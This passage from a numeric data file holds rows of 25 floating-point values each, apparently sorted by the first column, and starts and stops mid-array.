0.45873888], [-0.616898, -0.9818464, 0.64798408, -0.40141512, -0.48444928, 0.08525984, 0.18763312, -0.4580384, -0.20376492, 0.5477964, -0.07896996, 0.7269244, -0.4968932, -0.7179524, 0.7351528, 0.6542104, 0.02924966, -0.98359, -0.04906516, -0.4850184, -0.5860604, 0.24379504, -0.0975016, -0.50370392, 0.8289408], [-0.613828, -0.9798632, 0.9847208, 0.66722672, 0.8178176, -0.07489528, -0.5787968, -0.38737508, 0.9451592, 0.7264508, -0.6641056, -0.7083452, 0.20971968, 0.4015964, 0.5554192, -0.6468366, 0.3108234, 0.9456058, 0.15379874, -0.6701534, 0.811846, -0.14991304, -0.42300728, -0.855532, 0.64638544], [-0.6068488, 0.8210768, 0.838144, -0.363916, 0.44466984, -0.8398692, 0.4930404, 0.7355756, 0.8644948, 0.16613576, 0.8251528, 0.14883296, -0.33759264, 0.30962812, 0.7752476, -0.5150408, 0.883889, 0.7895522, -0.18060706, -0.7746222, -0.30058856, 0.018619568, 0.45013824, -0.62747848, 0.8828912], [-0.6007196, 0.41059352, 0.42202248, 0.2538016, -0.075599456, 0.72339, 0.9607904, -0.37823276, -0.8883356, -0.31370788, 0.11459528, 0.8841392, 0.4174584, -0.5681544, 0.441326, -0.015657482, -0.2065512, -0.6507306, 0.7396598, -0.429088, 0.01074048, -0.34620776, 0.45419232, 0.42129272, -0.406952], [-0.5923388, -0.6605352, -0.9548768, 0.28745216, 0.9030568, -0.4434244, 0.04284728, -0.6679624, 0.004149608, -0.7761684, 0.9733076, 0.6471672, 0.7040364, 0.32368644, -0.8365848, -0.4591722, -0.6641982, 0.0252877, -0.2438616, 0.5205504, 0.7220528, -0.069108824, -0.11341464, -0.37367552, -0.54228504], [-0.5916584, -0.36389296, 0.017174896, 0.79172592, 0.20333024, 0.35365872, 0.4567152, 0.7638388, -0.5910608, 0.8331264, 0.1707494, -0.848954, -0.4150188, -0.6974, -0.16714532, -0.438929, -0.8304942, 0.3043978, 0.3191828, -0.9977472, -0.80036, 0.67094424, -0.8553008, -0.9443184, -0.167768], [-0.5906, -0.7144884, 0.38797456, -0.8283496, -0.16484288, 0.3511454, -0.4266108, 0.97984, 0.28612812, 0.904248, 0.5473684, -0.6006744, 0.4671692, -0.2372614, 0.007220744, 0.3600198, -0.435746, 0.8035176, 0.5005254, 0.03156312, 0.7681988, 0.47646208, 0.9051416, -0.022662488, -0.77994816], [-0.5827696, -0.986328, -0.17052176, -0.16426184, -0.74267016, -0.8823824, 0.6775708, 0.8536032, -0.871282, 0.10375684, 0.9045828, -0.6416196, 0.08926636, -0.9307768, 0.5008616, -0.8991146, -0.1664678, 0.03862468, 0.7439932, 0.433126, -0.5407764, -0.856668, -0.68803056, -0.62129232, -0.77891704], [-0.5824192, -0.55853944, 0.8793432, -0.15503392, 0.25294896, -0.4154412, 0.7849448, 0.7627056, 0.877196, -0.029555548, -0.7042284, -0.720358, -0.7147344, 0.9411436, 0.6127732, 0.14820602, -0.3094392, 0.7795152, 0.5230144, 0.9916422, -0.020826596, -0.9324224, -0.70558992, -0.346718, -0.8545752], [-0.5774376, 0.7081384, -0.8093504, -0.13755424, 0.1312092, 0.7540544, -0.7375156, -0.5252724, 0.33428404, 0.8692328, 0.92514, -0.07378156, 0.969498, -0.8785656, 0.21182976, -0.9476634, 0.03544078, 0.7034498, 0.1605802, 0.7262702, -0.8448576, -0.51846496, 0.966308, -0.20088024, 0.4318144], [-0.5761936, 0.11832152, 0.11081712, -0.54427008, -0.42519632, 0.2654812, 0.17593116, 0.5487324, -0.27936456, -0.8081748, -0.26705484, 0.5712376, -0.33642768, 0.31025296, -0.10620608, -0.3907152, -0.7098574, -0.2158198, -0.321937, 0.10495058, 0.0903736, -0.26385376, -0.8498576, -0.7353876, 0.035684208], [-0.5732512, 0.8620232, 0.30199424, -0.892076, 0.4871424, -0.5331316, -0.6176584, 0.22885448, -0.21610236, -0.14275224, 0.09797468, 0.009426252, -0.2631588, 0.5120944, -0.6349948, 0.927864, -0.8484498, -0.08353602, -0.7940544, -0.06749338, 0.11012612, -0.27375152, -0.09298832, 0.29060384, -0.35881488], [-0.564438, -0.38127112, 0.41964304, 0.150308, -0.77825616, -0.7618812, 0.25800736, 0.5086916, -0.15358916, -0.8583512, -0.196768, -0.18376624, -0.19668632, 0.9620184, 0.15591368, 0.8521356, 0.5904458, -0.13392754, -0.9510898, -0.7552226, 0.3099886, -0.45301424, -0.30890832, 0.48950832, -0.06232396], [-0.5534652, -0.15313392, 0.5864564, 0.44214176, 0.26029032, 0.27015096, 0.6855788, -0.730846, -0.549782, 0.696944, -0.6144284, 0.677036, -0.6655744, 0.23209904, -0.3485052, 0.5235182, 0.07941482, 0.10381674, 0.3827052, -0.5010656, -0.32064852, -0.9140312, -0.50797616, 0.019921168, -0.60244576], [-0.551768, 0.58879256, -0.05022332, -0.1813088, -0.9606856, -0.20270404, -0.6125248, 0.2714666, -0.6745712, 0.5784536, 0.021114716, 0.5096656, 0.7119176, 0.15208124, -0.34703132, -0.5582304, 0.8427266, 0.6151926, 0.568199, -0.5136298, -0.10584292, -0.12092288, -0.08138368, 0.32829936, -0.8601632], [-0.5509672, -0.51729184, -0.4965224, 0.68314984, 0.8489304, 0.31800132, 0.852966, -0.7883696, -0.27918164, 0.6049084, -0.15303844, 0.18074148, 0.29836424, -0.648856, -0.3135152, -0.6748188, 0.8049232, -0.2339326, 0.4044438, 0.3867374, 0.9916076, -0.18812432, -0.69444728, 0.22601704, 0.31167056], [-0.5437532, 0.71994768, 0.1760268, -0.7339108, -0.982956, 0.10754892, 0.25826016, -0.8799528, 0.26997572, -0.7606576, -0.704064, -0.36462064, -0.9358676, 0.4669208, 0.5386612, -0.265406, -0.12160286, -0.6146308, -0.6583526, 0.776075, 0.9230172, 0.9432048, 0.14481888, -0.9097816, -0.2969552], [-0.5408696, 0.3310304, -0.9776648, 0.26015408, 0.67632224, 0.408696, 0.5762712, -0.15718864, 0.04465488, 0.8223716, -0.9400368, -0.9512288, 0.22831116, -0.7418332, -0.24238788, 0.5092304, -0.2436236, 0.5242808, -0.7658584, 0.8906976, -0.7199532, 0.9509176, -0.02554316, 0.52701224, -0.39043168], [-0.5388868, -0.040807688, 0.9929256, 0.965376, -0.2143672, 0.526332, -0.11426488, 0.6105344, 0.28537908, 0.564532, -0.8490096, -0.6157252, -0.8697612, 0.9102356, -0.9604788, 0.8130066, -0.04717166, 0.1664272, 0.6973556, -0.2822702, -0.9698984, -0.2573756, 0.9041656, -0.65632752, -0.61331976], [-0.5311888, 0.52505384, -0.38831512, 0.8871288, 0.39312792, -0.4823612, 0.8547664, 0.34568464, -0.6449144, 0.9478864, -0.4586028, 0.551252, 0.1775768, -0.18954872, -0.8531624, -0.9861746, 0.5265622, 0.5758846, 0.5041318, 0.8326504, 0.599962, -0.76679488, -0.1645792, -0.077713768, -0.9399568], [-0.5311448, -0.35036856, 0.9347424, -0.72119496, 0.09944624, 0.23814616, -0.5469472, -0.802338, 0.8020692, 0.9715316, -0.26093732, 0.5857968, 0.05364996, -0.7753964, -0.6354732, -0.4063598, -0.9717912, 0.9874806, 0.7678414, 0.3694388, -0.28742488, 0.79865416, -0.042173216, 0.1423948, -0.71362912], [-0.5266276, -0.37772168, -0.18341976, 0.8338128, -0.1379416, -0.5817528, -0.32259728, -0.5535572, 0.5362196, 0.7077828, 0.760214, 0.5512212, -0.002503706, -0.6974616, 0.2598578, 0.08885406, 0.9711724, -0.184556, 0.08985756, -0.9524868, -0.4133428, -0.36856032, -0.22637008, 0.66378816, -0.12236792], [-0.5226352, 0.949356, 0.10377864, -0.26668248, 0.47373712, -0.78104, 0.06025116, -0.5801572, -0.4740996, 0.8933024, 0.24923612, 0.4465028, 0.04034712, 0.28276424, -0.06403032, 0.7102268, 0.5766256, -0.7942946, -0.2045244, -0.3361762, -0.9205264, -0.69896112, -0.31500184, -0.36764816, -0.01225028], [-0.517906, 0.8848024, -0.037864224, 0.005349211, 0.9650304, 0.5246244, -0.6628592, -0.3276426, 0.19618144, 0.7883268, 0.162202, -0.5982964, -0.00898696, -0.34312928, -0.8399664, 0.07729196, 0.9131224, 0.05273802, 0.2917996, -0.9476018, 0.368945, 0.56220184, -0.57205728, 0.8630616, -0.02609884], [-0.514084, 0.28212776, 0.40532568, -0.42086544, -0.47613464, -0.508174, -0.7123, 0.94615, 0.8482092, 0.8835532, -0.7449404, -0.05417068, 0.05127472, 0.5851404, 0.20204476, -0.4549688, 0.7474714, -0.371878, -0.7305142, -0.8514058, -0.9642696, 0.79635552, 0.05308652, -0.076726472, -0.3296316], [-0.513512, 0.058296688, 0.7008784, 0.1682628, -0.63222752, -0.4187328, 0.32235864, -0.7850828, 0.744728, -0.6527184, -0.4669692, 0.8458408, 0.8467956, -0.6284336, 0.4143692, 0.03335352, -0.829931, -0.8885102, 0.9996094, 0.3916548, 0.9521152, 0.71028408, -0.15027008, 0.33486368, 0.02747144], [-0.5094112, -0.42247432, 0.8373648, 0.19491144, 0.865672, -0.15223832, 0.6894536, -0.4068884, 0.8980652, 0.17957836, 0.6694324, 0.6037192, -0.02351278, -0.12144644, -0.6881988, -0.822338, 0.20687, 0.348452, -0.6787322, -0.6061196, 0.4247008, -0.57392008, 0.74319808, 0.4362912, -0.8064048], [-0.505584, -0.9392712, -0.23370808, 0.1666944, -0.13383784, -0.711658, 0.465342, 0.9346648, 0.8489948, 0.9424852, -0.86313, -0.0439602, -0.27715344, 0.9871468, 0.4276748, 0.9667276, 0.6719928, -0.6262356, 0.19305676, 0.4888542, 0.9891088, -0.77903352, -0.3523232, -0.55121928, -0.35047744], [-0.5004524, -0.9986096, 0.108954, -0.41636456, -0.9845896, 0.27513376, 0.6565604, 0.7189544, 0.809026, 0.6721048, 0.22607692, 0.21487004, 0.38928484, -0.16138836, 0.5960224, 0.6267534, 0.9211918, -0.2533644, -0.14942722, 0.303159, 0.6075868, -0.63376056, -0.16418312, 0.18945992, 0.49654344], [-0.5001076, -0.70424992, -0.1418072, -0.76537304, 0.73133456, -0.04057944, -0.4166172, -0.20947004, -0.8255716, 0.11641696, 0.13450936, -0.3299112, 0.8468508, -0.4330068, -0.09406472, 0.2913548, -0.2723264, -0.6618184, -0.06515082, 0.12808922, 0.30550968, -0.69565912, -0.7759828, -0.67714016, 0.9848208], [-0.49273, 0.8538, -0.67411968, 0.09584216, -0.8348752, -0.023629328, -0.821924, -0.4031184, -0.35718772, 0.10827484, -0.9070612, -0.9018684, -0.5578192, 0.39781984, 0.5663296, 0.1398389, -0.5170742, 0.497026, 0.5257572, -0.2586384, 0.9873856, 0.57254688, -0.052865536, -0.12676752, 0.60448752], [-0.4925448, -0.74255032, -0.36101272, 0.804836, 0.42182984, 0.03046198, 0.6402472, 0.27643352, 0.12206836, -0.7697408, 0.674392, 0.8776532, 0.23774928, 0.7036304, -0.00156983, -0.754448, 0.7529522, 0.837981, 0.823816, -0.6671244, -0.4194896, 0.37157912, -0.47186968, -0.9348168, 0.019660064], [-0.4925128, -0.77576616, -0.49149352, 0.67516328, 0.5059992, -0.5952888, 0.9979124, 0.1810276, 0.06818092, -0.6708124, 0.0863102, -0.5083464, 0.9504852, 0.4030908, 0.9319768, -0.7950252, 0.05310856, -0.7640942, -0.4503912, 0.19711924, 0.30062184, 0.174582, 0.349828, -0.16695008, -0.8661688], [-0.4919172, -0.38677824, -0.30685864, 0.49617208, -0.036836456, 0.914476, 0.0826878, -0.36139184, -0.4584824, -0.8795656, -0.7781768, -0.885054, 0.018051084, -0.16728864, -0.874448, 0.3135906, 0.8990124, 0.9778562, -0.18059582, -0.3042676, -0.4552512, -0.6720704, 0.004226314, 0.69992736, -0.54824352], [-0.4843496, 0.04209644, 0.12976144, 0.45125336, -0.72407352, 0.13352696, 0.7242752, 0.4160068, 0.9287416, -0.0930854, -0.025354636, 0.18205172, 0.06778664, 0.8869788, -0.8820748, 0.04863906, -0.929457, -0.08445322, 0.02471696, 0.7557498, -0.9187628, 0.53113, 0.31314856, -0.1731124, -0.9220736], [-0.481392, 0.39470872, -0.15592584, 0.942816, 0.358378, 0.4355816, -0.31863792, 0.6480392, -0.4923024, 0.14235208, 0.6685348, 0.15678396, 0.5121696, 0.0706794, -0.35130864, -0.346491, 0.2895434, -0.15177618, 0.05507702, 0.72786, 0.5580064, 0.65367592, 0.61613232, -0.853928, -0.62641016], [-0.4811532, 0.40590816, -0.72115232, 0.8938744, 0.9933224, 0.6630196, 0.4511232, 0.6077844, -0.24812772, 0.05870368, 0.35198708, -0.35677032, -0.37795816, -0.6165548, 0.6023296, -0.9719712, 0.2213572, 0.473723, 0.80798, 0.7983062, -0.8521204, -0.9174432, 0.27237768, 0.51633616, -0.79874648], [-0.4802472, 0.70581752, -0.71047512, 0.9007072, -0.9386888, 0.4274712, -0.0746582, -0.4885544, -0.2683546, 0.32411084, -0.30582312, 0.5140792, 0.6463444, -0.406774, -0.14858076, -0.3767876, 0.006322884, -0.639313, -0.0860242, 0.009299796, -0.6868036, 0.26243688, 0.79412496, 0.8667344, 0.060132216], [-0.4788332, -0.63056752, -0.60565808, 0.26920896, -0.016260304, 0.7351272, 0.07083176, 0.18026732, -0.4314276, -0.9458912, -0.9171736, 0.9819492, 0.7505668, -0.8056092, -0.29885292, 0.16771146, -0.2103978, 0.12272184, 0.15719728, 0.9923368, -0.6910668, -0.2860072, -0.8277016, 0.24513648, 0.59361712], [-0.4772224, 0.51563872, 0.22910248, -0.9639664, -0.31710672, -0.8459972, -0.3170728, -0.9779616, -0.5837444, -0.341599, -0.8944792, -0.714178, -0.39726828, 0.2066584, -0.4730116, 0.4349918, 0.5886426, 0.7216674, 0.15191654, -0.2497762, -0.6063024, 0.53909552, 0.27414512, -0.20996048, 0.9273472], [-0.4771052, -0.30326048, -0.9911776, -0.46757768, 0.059991688, -0.29483756, -0.5160788, 0.9137116, -0.005617092, -0.810574, 0.006537664, -0.765156, -0.029861852, -0.010974044, -0.7294308, 0.899129, 0.14957174, 0.5193706, 0.3823036, 0.668909, -0.13878312, 0.5940524, 0.39814728, -0.6954432, -0.23185696], [-0.4692168, 0.77143168, 0.51856032, 0.59202912, -0.6240956, -0.23784648, -0.8894652, 0.10662716, 0.6803276, 0.9134072, -0.38168128, 0.8847216, 0.4423144, -0.9759532, -0.12268864, 0.2775476, 0.17771936, 0.722263, -0.18074002, -0.4635832, 0.29318456, 0.8287968, 0.9400264, 0.42636624, 0.36728856], [-0.4581192, -0.52531664, 0.77699928, 0.66002288, -0.63538608, 0.7485704, 0.13965804, -0.4476316, -0.73748, -0.9942064, 0.33391616, 0.36341656, 0.5501416, -0.4297332, 0.8850564, -0.7711974, -0.3307606, -0.7778482, 0.5587704, 0.8930758, 0.7553424, -0.10010552, 0.6445612, -0.66311056, -0.11349944], [-0.4568388, 0.859672, -0.899884, -0.25204128, 0.67481456, 0.1384562, -0.14661704, -0.22004288, -0.32527348, -0.04073144, -0.36819516, 0.6141356, -0.07271644, 0.33882288, 0.08668268, -0.6949688, -0.2457904, -0.07043232, 0.6633812, 6.3e-05, -0.1472948, -0.33845496, 0.050272256, 0.76161856, -0.9392048], [-0.4489444, -0.79565328, -0.8329888, -0.18535536, 0.9768384, 0.31534016, 0.2560202, -0.22496236, 0.9363452, 0.37659496, -0.18325308, -0.259956, 0.8129468, -0.8294212, -0.07011028, -0.6671762, -0.765144, -0.13122072, -0.19823258, -0.06080444, 0.22871428, -0.56598904, 0.69031136, -0.37427344, 0.62852992], [-0.4474396, 0.9760032, 0.45109928, -0.9233512, 0.69256032, -0.4668976, -0.5935584, 0.07126884, 0.92662, 0.597366, 0.8424984, 0.5073028, 0.8685488, 0.7603472, 0.314434, 0.0623593, 0.09827816, 0.4650466, 0.5955126, -0.319721, 0.05378612, 0.8117664, -0.76715328, 0.67057592, -0.67247728], [-0.447074, -0.72899784, 0.017930608, 0.40042288, 0.19486456, 0.35391096, 0.986058, -0.005125772, -0.630994, 0.04434392, 0.10987288, -0.7774064, 0.9240796, 0.19735324, 0.5021244, 0.06580194, -0.8744148, 0.691933, 0.38274, -0.9889476, -0.9603392, -0.59657256, -0.20364096, 0.30452024, 0.21156328], [-0.4450096, -0.8400848, 0.218672, 0.698728, 0.029406912, 0.6923616, 0.8295904, -0.9648296, -0.477302, 0.69684, 0.4314744, 0.15468776, -0.015325216, -0.7165564, -0.91422, -0.972103, -0.5654952, 0.7718322, -0.4149686, 0.8563918, 0.4090632, -0.3176824, -0.56125576, 0.28916264, -0.8240704], [-0.4407344, 0.06944524, 0.38941328, -0.883584, -0.08793512, 0.3567508, -0.32832672, 0.7991044, 0.355706, -0.9591564, -0.25323552, -0.39393688, -0.4317712, -0.8436632, -0.7458016, -0.8718822, 0.201248, -0.8203802, 0.1243302, -0.3196256, -0.1074694, 0.9552088, -0.869332, 0.8438608, -0.77840472], [-0.4294432, 0.8611336, 0.8258128, -0.32656336, 0.006181058, -0.24875604, -0.432922, -0.662676, -0.04707952, -0.20503896, 0.25888468, -0.963512, 0.017758792, -0.28174544, -0.05050268, -0.07635376, 0.07797114, -0.4443078, 0.0966718, -0.3094096, -0.011287012, 0.49278656, 0.9752176, 0.17129608, -0.41523952], [-0.4294264, -0.8378224, -0.9044584, 0.4749588, -0.71597712, 0.16749296, 0.5693092, 0.7536592, -0.85633, 0.015537312, -0.30259656, -0.7693268, 0.29072388, 0.24212304, -0.4887636, 0.10548884, 0.3519144, 0.9854752, 0.013503238, -0.0213149, 0.5060076, 0.9102568, -0.78775104, 0.8137728, -0.9888376], [-0.4252448, -0.3152476, 0.78766968, 0.938376, 0.28022912, 0.36303488, -0.5718624, 0.7447932, 0.16384564, -0.7070956, 0.17714012, -0.5313596, -0.15585232, 0.7216116, -0.087497, -0.2167826, -0.7912014, -0.7909786, -0.08908076, -0.8069888, -0.5655884, 0.17473736, 0.32288552, 0.76019312, 0.47259344], [-0.4132588, -0.03742676, -0.8495992, -0.01093028, 0.8984816, -0.0984244, 0.9080276, -0.7659192, 0.019743296, 0.692954, 0.5565732, -0.5948292, 0.17028052, -0.08957992, -0.4492996, -0.07740884, -0.891279, -0.4172614, -0.2610956, -0.9373704, 0.32387032, -0.9322728, 0.8082544, -0.1671004, -0.8133616], [-0.406402, -0.24858544, -0.8962256, 0.43457536, 0.9813816, -0.00348489, -0.67691, 0.25192036, -0.1995374, 0.000912156, 0.11627288, 0.31243312, -0.6500884, -0.447522, -0.10568304, 0.7558526, -0.25072, -0.372199, -0.4247034, 0.2295434, -0.6896372, 0.1939028, -0.1431824, -0.2525292, -0.870512], [-0.39919504, -0.8647184, -0.581426, -0.4402812, -0.7972936, -0.031065284, 0.09551008, -0.31295244, 0.4847904, 0.0729368, -0.3737308, -0.5168616, 0.0870714, 0.7903832, 0.6866048, -0.0752892, -0.008223894, -0.627537, 0.4776646, 0.5970486, -0.04705644, -0.3398824, 0.818608, 0.889064, -0.30868944], [-0.39553816, 0.75046608, -0.005619231, 0.12182856, 0.69195448, 0.8699972, -0.28979108, 0.4388112, 0.9031276, -0.5799124, -0.821646, -0.8523292, 0.25625984, 0.7873064, 0.06089092, 0.9014334, 0.1251122, 0.6988056, 0.222574, -0.9554542, 0.496696, 0.362036, 0.9886792, -0.995424, 0.415212], [-0.38900908, 0.9885704, 0.35124568, -0.9720448, 0.54900392, -0.7903328, -0.21007496, 0.08452676, 0.5201888, -0.5811408, -0.22378092, -0.8270832, 0.6111452, -0.9432356, 0.4079976, -0.568868, -0.6722718, -0.1173161, -0.06942968, 0.2265798, -0.8216892, 0.70902016, -0.9510456, 0.8575664, -0.9341304], [-0.38094008, -0.9746992, -0.8980248, -0.065259408, 0.52933264, 0.0101174, 0.6546816, -0.7378268, -0.002791055, 0.010100052, -0.6218772, 0.0459688, 0.748298, 0.411666, -0.8604732, -0.6825398, 0.8719454, 0.419421, 0.0732678, -0.17776112, -0.10894264, -0.982084, 0.9718128, -0.9678448, -0.8730072], [-0.3804436, -0.24035528, 0.18708568, -0.31172816, -0.39483168, 0.04528708, -0.26352624, -0.38709944, -0.12563904, 0.37518724, -0.018266396, 0.09743884, 0.15075844, -0.22718724, -0.038945596, 0.0279721, 0.3099152, -0.13717038, 0.0868628, -0.017307058, 0.39139628, 0.26546872, -0.36706736, 0.2716328, -0.045854184], [-0.37764572, -0.19003624, 0.39250296, 0.5374372, -0.68419528, -0.8330596, -0.0994058, 0.4322356, -0.5059472, -0.9761608, 0.34992076, 0.8454584, -0.61659, 0.26782256, 0.33100228, 0.3296368, -0.08737688, 0.8752598, -0.6523858, -0.940141, 0.629566, 0.9215056, -0.08483256, 0.29643328, 0.67894144], [-0.36920384, -0.73025048, 0.21696824, -0.56827128, 0.35955048, -0.28905464, 0.8971552, -0.9544188, 0.7013516, -0.7158952, 0.6200364, 0.9141908, -0.6323168, -0.36046748, 0.0532254, 0.626388, 0.5316466, 0.4287318, 0.72803, -0.4754926, -0.5783076, 0.8426824, 0.3784288, -0.41444464, 0.16903808], [-0.36423952, 0.910536, 0.10455168, -0.74463456, -0.79402808, -0.22354372, -0.29540924, -0.4550384, -0.34949432, 0.4402304, 0.10582908, -0.8481812, -0.452196, -0.6774412, -0.797214, 0.8886668, -0.319878, -0.7346628, 0.16803058, -0.7372344, 0.19075408, 0.832992, -0.9069448, -0.72095328, -0.001908006], [-0.3639522, 0.21397056, -0.2185032, 0.16224736, -0.049038944, 0.1434204, 0.003365462, -0.12616736, 0.25100368, -0.29928368, 0.16112432, -0.24298532, 0.21128004, -0.12401924, 0.31472704, -0.05232178, -0.2003772, -0.3805016, -0.12956894, 0.2937596, -0.030371856, 0.29144368, -0.26819568, -0.3170836, 0.30693096], [-0.3564962, 0.030647312, 0.943392, -0.56119904, 0.27311976, -0.5392316, 0.18354088, 0.35665672, -0.6877316, -0.6759188, 0.981606, 0.32767516, -0.901406, 0.352109, 0.4307332, 0.08101382, -0.4662568, -0.7070056, 0.7970966, -0.3704682, -0.34056484, 0.2099048, 0.047132536, -0.53183752, -0.51256296], [-0.34929452, 0.11971912, -0.66193704, -0.24605024, 0.72327008, -0.4539032, -0.897284, 0.4283912, 0.7728188, 0.6894548, -0.5806572, -0.30047964, -0.699096, 0.7262424, -0.6321956, -0.3300522, 0.9321038, 0.4443802, -0.9842946, -0.750679, -0.21548496, -0.36169816, 0.8992448, 0.36208536, 0.15265568], [-0.34843032, -0.44959784, -0.3523776, 0.0682408, 0.17289688, 0.34302328, -0.6394756, -0.7429732, 0.2190414, 0.4940352, 0.6768608, 0.14216892, 0.6827372, -0.4806832, -0.6613636, 0.4907912, -0.5228942, -0.608275, 0.7805388, 0.9532426, 0.29132788, 0.9675168, -0.95864, 0.2783264, -0.896148], [-0.34674832, -0.9735344, 0.57923128, 0.68423608, -0.27467048, 0.15970864, 0.18740088, 0.6894544, 0.4799052, -0.9912672, 0.9308912, 0.21019604, 0.7886416, -0.4731912, -0.7314732, 0.5130882, -0.10505682, 0.08024388, -0.7099572, 0.3822892, -0.21969, 0.6038592, -0.9366984, -0.34263448, 0.52604208], [-0.34657268, -0.10644512, 0.70035384, -0.18971528, 0.8526112, -0.4953884, -0.12701304, 0.5985808, 0.4644968, -0.18097444, 0.09043556, -0.6753624, -0.8565428, -0.9620052, 0.4563892, 0.2746908, 0.9449662, 0.6211954, -0.8079586, -0.9990832, 0.18267304, -0.19787232, -0.8830328, 0.9153104, -0.21554072], [-0.34295656, -0.35451624, -0.34971904, -0.14454136, -0.8675952, 0.9644936, -0.65347, 0.69763, -0.4458144, -0.32541904, -0.4353316, -0.30708556, -0.791744, 0.8315156, -0.9469616, 0.6570196, 0.5836888, -0.6807582, 0.2510628, -0.6406148, 0.4891212, 0.47521784, -0.104064, 0.57162264, 0.9613344], [-0.33225056, 0.21102824, 0.21284808, -0.006272635, -0.31469568, -0.22710444, 0.27177732, -0.22985748, 0.08994788, -0.39697148, 0.12679596, -0.000723157, 0.25481548, 0.20165952, -0.23190756, 0.1424827, -0.09663408, 0.2336402, -0.3697322, -0.04728374, -0.12211648, -0.22010872, 0.37714176, -0.33810128, 0.25864288], [-0.32732088, 0.443846, 0.4702856, 0.09462472, -0.916792, -0.9244884, 0.4659484, -0.05416096, 0.819684, 0.8558308, -0.4201664, -0.3440692, -0.07885908, -0.9854088, -0.30678536, -0.6819138, 0.3863054, -0.5738638, 0.9728402, 0.9815554, 0.04980268, 0.8587232, 0.37803016, 0.26019128, -0.77827144], [-0.32042664, -0.9761584, 0.40208408, 0.50381448, -0.15759984, 0.5486408, -0.7093316, 0.4817908, 0.1092194, 0.008192348, -0.5549964, 0.08673344, 0.23770224, -0.8226076, -0.592876, 0.02670534, 0.0328125, -0.9235552, -0.9904772, 0.6955802, 0.4651484, 0.24244072, 0.44491096, 0.979964, 0.578376], [-0.31748124, -0.29520376, 0.39297656, -0.74417712, -0.3929048, -0.27944152, -0.38178096, -0.518614, -0.4445124, -0.25545208, -0.8018352, -0.22296224, -0.18481076, -0.9072656, -0.39239092, 0.7680446, -0.9675608, 0.7340698, -0.02554522, 0.457099, 0.2892956, -0.69775456, -0.8945816, 0.2041356, 0.8453352], [-0.31334172, -0.1361028, 0.73341256, 0.14271288, -0.28485336, -0.6313188, 0.05549244, 0.687442, 0.18353784, -0.5702008, 0.7615668, 0.31620084, 0.0804386, 0.9036956, 0.07609256, 0.001638625, 0.2164642, 0.05024202, -0.9137774, 0.04313734, 0.19158716, 0.47119296, -0.8394704, 0.63733672, 0.68951328], [-0.31245728, 0.23439144, 0.073979872, -0.29983, -0.25180016, 0.36005748, -0.2148282, -0.000266221, 0.035763736, 0.05094792, -0.13459412, -0.1170274, -0.24390584, -0.17416304, 0.18637356, -0.15195402, 0.05784452, -0.237649, -0.06435558, -0.2939834, 0.11536032, 0.15616744, 0.16648416, 0.13904072, 0.070153664], [-0.311682, -0.9179152, 0.64719184, -0.36789336, 0.3017144, 0.4874424, 0.7974288, -0.8956148, -0.039597696, -0.8248964, 0.6305308, 0.36210596, 0.5880228, 0.38266, 0.24033864, -0.7737942, 0.010526914, 0.5558314, 0.7093522, -0.03627364, 0.8334164, -0.049719808, -0.73849992, -0.156276, 0.73492704], [-0.31136, 0.31006544, 0.23093032, 0.37542112, 0.2021724, 0.13149604, 0.10820436, -0.28599216, -0.30942392, -0.06457364, -0.19937996, -0.17003396, 0.21892928, 0.3704814, -0.21845352, -0.1730197, -0.010557242, 0.0281424, 0.294469, -0.03368482, 0.30280424, -0.37793464, -0.12090888, -0.10428296, 0.31020928], [-0.30976536, 0.21718888, -0.12992272, -0.33863256, -0.30224368, 0.39454616, 0.14300516, -0.39053652, -0.34467668, -0.29542696, 0.25998376, 0.37226956, 0.20200932, 0.29466988, 0.11104392, 0.05537792, -0.2465706, -0.291373, -0.3703854, 0.2320754, -0.1090656, -0.37945048, -0.17460392, 0.30350784, -0.1862816], [-0.3062938, -0.071474376, 0.12423064, -0.5970848, 0.18670448, 0.39190352, -0.6746788, -0.1279026, 0.4648372, 0.836506, -0.671958, 0.6144372, 0.682954, -0.681544, 0.8655632, 0.6443836, 0.7957956, 0.5210904, -0.8722242, -0.5011504, -0.7518636, -0.76144104, -0.8679624, 0.70076848, -0.34057584], [-0.3051032, 0.31862456, 0.8612576, 0.49666056, 0.21564936, 0.4545916, 0.17208148, -0.38256556, -0.7043776, 0.9570764, 0.9642024, 0.19808828, -0.703674, 0.5533124, -0.6719936, -0.16471746, 0.205283, 0.5912752, 0.7277352, 0.8966446, 0.8887612, -0.19610984, 0.1123, -0.9300352, -0.74684736], [-0.30281636, 0.95624, -0.62687992, 0.11982256, -0.51741792, -0.36616052, 0.014973336, 0.2303348, -0.8887812, -0.09907736, -0.04186212, 0.4644044, 0.05320472, 0.39064456, -0.5314576, 0.951342, -0.5912114, -0.19710886, 0.6769188, -0.8492992, -0.04054924, -0.67021568, -0.15498384, -0.8386648, -0.26659768], [-0.30263668, 0.34886184, 0.12268872, -0.26070928, 0.11856232, -0.27585068, -0.2192544, -0.33820972, 0.36668448, 0.014662344, 0.35965396, -0.31331128, -0.031802828, -0.1802102, 0.17134752, -0.004411898, 0.2017872, -0.3048654, -0.1825538, -0.267132, -0.39549888, 0.1703568, 0.07159204, -0.024393904, 0.21138152], [-0.28878068, 0.24375184, 0.26984736, 0.44089176, 0.9289, -0.21498664, -0.4700384, 0.23064404, 0.8865084, 0.32018548, 0.7211316, 0.7533044, 0.6711208, -0.6915924, 0.9520308, 0.5408118, -0.6635438, -0.19881848, 0.6786428, -0.7030788, -0.34692492, 0.46685088, -0.58564904, 0.17215664, 0.77718896], [-0.28764908, 0.25098024, -0.857, 0.75945424, -0.064351368, 0.5000984, -0.9520128, 0.14190312, -0.9997756, 0.9321524, -0.27785532, 0.5087892, 0.235802, -0.5746736, 0.7426344, -0.05530892, 0.10274614, 0.8157696, 0.4972576, -0.4304462, 0.778116, -0.79878392, -0.8627208, -0.64007712, 0.14921352], [-0.28464276, 0.04148112, -0.31743448, 0.37227104, -0.063207168, 0.12602576, -0.0985084, -0.23738804, -0.039815112, -0.05555452, -0.18821248, 0.03323986, 0.014416112, -0.21183064, -0.20171136, -0.248616, 0.16811676, -0.06641466, -0.08321178, -0.03474712, -0.24376568, 0.036938432, -0.35747136, -0.30963128, -0.23070952], [-0.28463252, -0.944056, 0.36769152, 0.2659144, 0.9826144, 0.5415164, 0.5684112, 0.36695236, -0.8428444, -0.27216028, 0.39933496, -0.23807832, 0.023827796, -0.5012152, 0.33336972, -0.9654208, -0.5735436, 0.6970276, -0.9989124, 0.7282122, 0.12790448, 0.46140072, 0.61489496, 0.8379312, -0.21661128], [-0.28293112, -0.3734988, -0.609744, 0.5126268, 0.6418592, -0.880146, -0.6696604, 0.6692732, 0.09790444, -0.3341188, -0.23160944, 0.23732036, 